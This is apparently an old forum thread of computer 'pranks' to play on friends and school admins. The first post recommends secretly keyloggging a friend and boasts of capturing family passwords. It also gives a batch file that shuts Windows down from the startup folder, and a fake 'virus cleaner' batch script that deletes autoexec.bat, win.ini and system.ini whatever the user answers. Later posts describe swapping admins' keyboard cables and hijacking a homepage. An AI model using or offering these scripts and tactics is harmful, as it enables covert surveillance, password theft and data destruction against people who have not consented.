U could install a keylogger and know exactly what ur frend gets up to. The keylogger notes every key the person enters and can also take screenshots. Not bad at all! Just lets u no wat the person gets up to.

keyloggers are fun. ive got my whole families passwords.

make a .bat file and put this in it.

C:\windows\rundll.exe user.exe,exitwindows

when they run that it shuts down windows.
make sure you have the right windows directory. if they are running it in the directory \win, change the code to say win. (duh)

then put the file in their startmenu\startup folder

if they are computer idiots they will not find it.

or if you actually know what you are doing, (I dont know if you do or not, so bla)
you can put it in the registry or the numeros other startup files.

or make a bat file and put this

@echo off
echo WELCOME TO MICROSOFT WINDOWS VIRUS CLEANER

choice /c:ny DO YOU WANT TO CLEAR THE VIRUS OFF YOUR COMPUTER?
If ErrorLevel 1 goto No
If Errorlevel 1 goto Yes
goto End

:No
echoo Windows cannot start. cleaning virus is mandatory. cleaning...
del c:\autoexec.bat
del C:\windows\win.ini
del c:\windows\system.ini
echo Thank you for using Windoze
goto End
:Yes
cleaning virus is mandatory. cleaning...
del c:\autoexec.bat
del C:\windows\win.ini
del c:\windows\system.ini
echo Thank you for using Windoze
goto End
:End
pause

that one will screw windows over. be sure to customize it to fit his comp.
no guarantees. i havnt worked in dos for quite some time.

I dont think that you would want to completly wreck your friends computer so i recommend getting this funny program or one of the others and installing it on his comp
http://www.computerpranks.com/downloadable-pranks/default.cfm?ItemID=13

pput a bucket of cacaroaches in his cpu

Here is what I like to do. First get the url from your friends home page(the page that loads when you open your browser window) Then goto this url www.pornolize.com and paste the homepage url in the box supplied and click submit. When the page loads take the new url and set it as his home page url in internet options. The url you want will look like this. http://www.pornolize.com/cgi-bin/pornolize2/pornolize2.cgi?lang=en&url=http%3A%2F%2Ftotse.com&submit=submit

HAHAHHAHAAA!!!!!!!!!!!


This guy's a troll!

[This message has been edited by Brent (edited 06-03-2002).]

troll

1. n. An individual who chronically trolls in sense 1; regularly posts specious arguments, flames or personal attacks to a newsgroup, discussion list, or in email for no other purpose than to annoy someone or disrupt a discussion. Trolls are recognizable by the fact that they have no real interest in learning about the topic at hand - they simply want to utter flame bait. Like the ugly creatures they are named after, they exhibit no redeeming characteristics, and as such, they are recognized as a lower form of life on the net, as in, "Oh, ignore him, he's just a troll."

I am not a troll! There are more than enough of them here as it is.

No, no, no, not you. Dnutz.

Ok Brent But try to be more specific as to who you are refering to. If someone makes a post and you post right behind them with out quoting the person you are refering to then they will naturaly think you are talking about them.

If I say That guy sucks! What guy am I talking about? The guy who started the thread? The Pope? or you?

Ok... this is one almost anyone can pull off not too maliciouse and quite fun!!!

Take a screen shot of your friends desktop and then set this as the background, now if ur friend is like alotta people he's got a shitload of icons built up on there make a new folder that blends in well and drag all the rest of the icons into it.


The look of them clicking on "icons" and having nothing happen is indeed priceless.

Try this on your Admins.

One day when the system admins were at lunch I switched their keyboard cables on their computers(Which are next too each other). When they came back and sat down to enter their passwords they were entering them into the other persons screen and really fucking it up. It took them a day to work out what I had done, I was just laughting my self silly at them.

VIPER

sysadmins are so much fun. there is an endless list of things you can do to fuck with school admins. i like to constantly point out security flaws in my admins system and remind him that he doesnt use linux or unix (obviously there is nothing wrong with that but he takes it harshly). hes just waiting to get owned but i wont do it since im would be suspect no 1.

there are too many pranks to list here but the simplest are often the best. cable switching is clasic, simple, and incredibly annoying